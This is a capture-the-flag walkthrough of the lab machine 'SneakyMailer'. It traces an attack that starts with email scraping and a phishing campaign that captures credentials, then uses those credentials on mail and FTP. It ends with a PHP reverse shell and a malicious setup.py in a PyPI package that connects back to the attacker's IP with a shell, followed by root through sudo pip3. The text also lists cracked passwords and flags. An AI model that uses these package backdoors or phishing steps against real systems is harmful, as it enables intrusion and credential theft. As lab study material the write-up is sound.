SneakyMailer

10.10.10.197

by SixPraxis

Write-Up

Initial scans showed FTP, SMTP, POP3, and HTTP ports. Port 80 displayed a dashboard with team member names and emails. The attacker used cewl to scrape the emails, cewl -w cewlwords.txt -e --email_file emails.txt http://sneakycorp.htb and then awk -F @ '{print $1}' emails.txt > emailstrimmed.txt to create a list of usernames without the @sneakycorp.htb extension. Using the email list with the python version of smtp-user-enum found all of the accounts valid on this mail server. The main dashboard also had a progress bar that showed PyPI as 80% complete. Fuzzing the main page found nothing useful, but requesting /pypi resulted in a 403 forbidden which confirmed it’s existence. Fuzzing the pypi directory found a register.php.

After registering an account, the new username was tried with smtp-user-enum and not found, so no new leads. With all the valid emails, a phishing attack may be the way to go. With a netcat listener setup on port 4040, the attacker used the Social-Engineer Toolkit (SET) to send out a mass mailer to all the email addresses that had been gathered. The mass mailer used the target’s smtp service as an open-relay and the message contained a link to http://10.10.14.7:4040.

phishing.png

A few minutes went by and the listener received a post request with Paul Byrd’s account details! hURL is used to decode the password.

firstName=Paul&lastName=Byrd&email=paulbyrd%40sneakymailer.htb&password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt&rpassword=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt

Decode for easier reading:
hURL -u password=%5E%28%23J%40SkFv2%5B%25KhIxKk%28Ju%60hqcHl%3C%3AHt
URL DEcoded :: password=^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

With Paul Byrd’s creds, the attacker used netcat to log into the IMAP service on port 143 and found an email that had been sent by Paul containing the developer account password. developer : m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

Commands issued to find the email:
A1 LOGIN paulbyrd ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht
n NAMESPACE
A1 list "INBOX." "*"
g21 SELECT "INBOX.Sent Items"
f fetch 1:2 (BODY[HEADER.FIELDS (Subject)])
F1 fetch 1 RFC822

The FTP server accepted the developer creds and wget -m --user=developer --password='m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C' ftp://10.10.10.197 was (UNNECESSARILY) used to dump the ftp server contents onto the attacker’s machine. The ftp server held the files for the website under a dev directory. Modifying the files on the server had no effect on the live site. The /dev/ directory didn’t exist when requested, so dev was tried as a subdomain and it successfully pulled up the website based on the files in the ftp server. dev.sneakycorp.htb. A php reverse shell was uploaded and requested which gave the attacker a shell as www-data. su can switch us to the developer user account since the password is known.

Looking at the home directory, the target user account is named “low”. On the mail server, the only other mail in Paul Byrd’s account was telling low that his job was to install, test, and delete any packages on their pypi installation. So, any package that the attacker can get into the pypi installation will be run by low. The package directory’s permissions are for root and the pypi-pkg group, which included low and pypi. From the pypi-server service in ps aux, the upload is password protected, so that .htpasswd hash needs to be cracked.

pypi       616  0.0  0.6  36800 25808 ?        Ss   13:09   0:07 /var/www/pypi.sneakycorp.htb/venv/bin/python3 /var/www/pypi.sneakycorp.htb/venv/bin/pypi-server -i 127.0.0.1 -p 5000 -a update,download,list -P /var/www/pypi.sneakycorp.htb/.htpasswd --disable-fallback -o /var/www/pypi.sneakycorp.htb/packages

Cracking the htpasswd hash:

cat /var/www/pypi.sneakycorp.htb/.htpasswd
pypi:$apr1$RV5c5YVs$U9.OTqF5n8K4mxWpSSR/p/
hashcat -m 1600 -a 0 sneakyht.txt rockyou.txt
soufianeelhaoui

In order to create a package to be uploaded to the target’s pypi installation, we need a few files.

setup.py - sdist gets run on this file to create the package.

from distutils.core import setup
import socket
import subprocess
import os

def doIt():
    try:
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect(("10.10.14.7",4141))
        os.dup2(s.fileno(),0)
        os.dup2(s.fileno(),1)
        os.dup2(s.fileno(),2)
        p=subprocess.call(["/bin/sh","-i"])
    except:
        print("Error caught")

doIt()

setup(
    name="malpackage",
    version="4",
    packages=[''],
)

.pypirc - This file gets read during the upload and provides the repo url and credentials. It has to be in the users $HOME directory, so we will be using export HOME=dir to change it to the location of this file.

[distutils]
index-servers = 
    pypiserver

[pypiserver]
repository = http://127.0.0.1:5000
username = pypi
password = soufianeelhaoui

Uploading a package to the pypi server:

mkdir /dev/shm/11122/
cd /dev/shm/11122/
wget http://10.10.14.7/.pypirc
export HOME=/dev/shm/11122
wget http://10.10.14.7/setup.py
python3 setup.py sdist upload -r pypiserver

When setup.py gets executed by python3 it makes a call back to the attackers machine, this first call needs to be ignored. Keep your listener off, but immediately start it as soon as soon as the first call fails because it needs to be active for when the upload finishes and low attempts to install setup.py. If you time it right, a reverse shell pops as low!

sudo -l shows we can run pip3 as root with no password. We create another setup.py with code for another reverse shell and then run sudo pip3 install /DIRECTORYWITHSETUPPY, popping root shell!


Recon

NMAP
PORT     STATE SERVICE  VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
25/tcp   open  smtp     Postfix smtpd
80/tcp   open  http     nginx 1.14.2
143/tcp  open  imap     Courier Imapd (released 2018)
993/tcp  open  ssl/imap Courier Imapd (released 2018)
8080/tcp open  http     nginx 1.14.2
Service Info: Host:  debian; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Port 21 - FTP

No anonymous login.

Port 25 - SMTP

NC connection responded with: 220 debian ESMTP Postfix (Debian/GNU). No results from smtp-enum-users nmap script.

Port 80 - HTTP

Redirected to sneakycorp.htb. Displayed an employee dashboard with a team tab that listed the names and e-mails of the company’s employees. Used cewl to scrape the emails.

Port 143/993 - IMAP/POP3
Port 8080

Nginx default page.


Credentials

SMTP:

paulbyrd@sneakymailer.htb : ^(#J@SkFv2[%KhIxKk(Ju`hqcHl<:Ht

FTP:

developer : m^AsY7vTKVT+dV1{WOU%@NaHkUAId3]C

pypi.sneakycorp.htb htaccess:

username = pypi
password = soufianeelhaoui

User Flag: 12ffb24799b01bf0ed77b9a1c4eda4a5

Root Flag: a9abbe4a494d427d3f774795afb36c47

Notes

To upload to the pypiserver, we do not need a full package structure, setup.py with the necessary sdist code and your reverse shell code is enough.